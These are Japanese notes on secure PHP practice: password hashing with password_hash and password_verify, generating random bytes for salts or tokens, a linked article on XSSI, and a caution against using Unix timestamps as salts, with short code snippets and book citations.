第3パラメーターで['cost' => 12 ]を指定すると212ハッシュ化を行います(デフォルトは10です)。

identifiable.info - 暗号化処理をときほぐす: パスワードの格納に Base64 を使ってはいけない

$hash = password_hash("password", PASSWORD_DEFAULT); 

使ったアルゴリズムやコスト、そしてソフトもハッシュの一部として返されます。 つまり、ハッシュを検証するために必要な情報は、すべてそこに含まれているということです。 そのため、password_verify() でハッシュを検証するときに、 ソルトやアルゴリズムの情報を別に保存する必要はありません。

php公式マニュアル。

<?php
$password = 'password';
$hash = password_hash($password, PASSWORD_DEFAULT);

echo 'パスワードハッシュ: ' . $hash . '<br>';

echo '----- 認証処理 -----<br>';
if (password_verify($password, $hash)) {
    echo '認証成功'; // 実行されます。
} else {
    echo '認証失敗';
}

コマンドラインでハッシュ取得

$ php -r "echo password_hash('password', PASSWORD_DEFAULT, [ 'salt' => 'some_secret_string_value', 'cost' => 15 ]) . PHP_EOL;"

saltは省略しpassword_hashの自動生成に任せることを推奨します。

乱数

<?php
$s = file_get_contents('/dev/urandom',false,NULL,0,24);
echo base64_encode($s);

徳丸 浩. 体系的に学ぶ 安全なWebアプリケーションの作り方[リフロー版] 脆弱性が生まれる原理と対策の実践 (Kindle の位置No.3584). SBクリエイティブ株式会社. Kindle 版.

$s = openssl_random_pseudo_bytes(32);
echo base64_encode($s);

PHP逆引きレシピ p781

XSSI

https://blog.motikan2010.com/entry/2018/03/03/XSSI%EF%BC%88Cross-Site_Script_Inclusion%EF%BC%89%E6%94%BB%E6%92%83...%E3%81%A8%E3%81%AF

その他

time関数はUnix エポック (1970 年 1 月 1 日 00:00:00 GMT) からの通算秒を返します。
秒単位であることに注意してください。UNIXタイムスタンプを暗号などのソルトで利用するのは避けてください。

10秒以内の場合10通りの値しか返しません。